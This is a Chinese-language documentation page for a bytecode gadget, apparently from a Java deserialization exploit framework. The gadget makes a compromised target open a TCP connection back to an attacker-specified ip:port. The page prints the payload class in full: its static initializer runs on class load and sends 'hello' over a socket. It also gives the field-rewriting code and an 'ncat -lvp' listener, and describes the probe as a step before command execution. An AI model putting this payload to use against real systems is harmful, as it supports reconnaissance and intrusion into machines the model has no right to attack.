- 类别:bytecode 别名:— 优先级:30
- 作者:Ar3h
- 依赖:无(仅用 JDK 标准库
java.net.Socket)
生成一段探测型字节码:被目标加载执行后,向攻击者指定的 ip:port 发起一次 TCP 连接并发送 hello。用于判断目标是否能出网(TCP 层),是命令执行前的连通性验证手段(配合 ncat -lvp 9999 监听)。
- 入口
tags:Bytecode、END——Bytecode表示产出原始类字节码,需上游字节码 sink 装载触发;END表示终端产物。 - 衔接
nextTags:无(终端 sink)。 excludes:无。
gadget 本体:改写模板的 ip/port 静态字段后返回字节码:
@Param(name="ip")
public String ip = "127.0.0.1";
@Param(name="tcp port", type=ParamType.Integer)
public int port = 9999;
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(TcpConnectBytecode.class);
javassistHelper.modifyStringField("ip", this.ip); // 重写模板静态字段 ip
javassistHelper.modifyIntField("port", this.port); // 重写模板静态字段 port
return javassistHelper.getBytecode();
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
chain.doCreate(context);
return this.getObject();
}JavassistHelper 把模板类中的 public static String ip 与 public static int port 改成用户配置值,再导出字节码。载荷逻辑在模板类的静态代码块:
public static String ip;
public static int port;
public TcpConnectBytecode() {
try {
Socket socket = new Socket(ip, port); // 向 ip:port 建立 TCP 连接
OutputStream outputStream = socket.getOutputStream();
PrintWriter writer = new PrintWriter(outputStream, true);
writer.println("hello"); // 发送探测数据
writer.close();
socket.close();
} catch (Exception exception) { }
}
static {
new TcpConnectBytecode(); // 类被加载即触发
}关键点:
- 触发时机:
static { new TcpConnectBytecode(); },类被定义/初始化即执行,无需调用任何方法。 - 探测语义:一次
new Socket(ip, port)若成功建连即证明目标可经 TCP 出网到攻击者主机;攻击者用ncat -lvp 9999(或任意 TCP 监听)观察是否收到连接与hello。相比 DNSLog(仅证明 DNS 出网)或 HTTP 探测,本探测直接验证任意端口的原生 TCP 可达性。 - 无外部依赖:只用
java.net.Socket,对目标环境几乎无版本/库要求,因此priority=30(较高优先级的通用探测件)。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
ip |
ip | 回连目标 IP(攻击者监听主机) | 127.0.0.1 |
任意 IP/主机名 |
port |
tcp port | 回连目标 TCP 端口(ParamType.Integer) |
9999 |
任意端口整数 |
- 与 JDK 版本、第三方库基本无关,仅需目标能加载并初始化本字节码类。
- 纯连通性探测,不做命令执行/回显;确认出网后再切换到
Exec等执行型 sink。 - 目标出站防火墙若限制到指定 IP/端口,则探测失败——可据此判断出网策略。
自由构件,未直接出现在 51 条预设链中。用法为放在字节码装载链尾([..., BytecodeConvert, TcpConnect])替换默认 sink 做出网探测。
- 上游(承接
Bytecode):BytecodeConvert 及TemplatesImpl系列装载器。 - 同族探测/执行终端:Sleep(时延探测)、DNSLog 系列(DNS 出网探测)、Exec(命令执行)。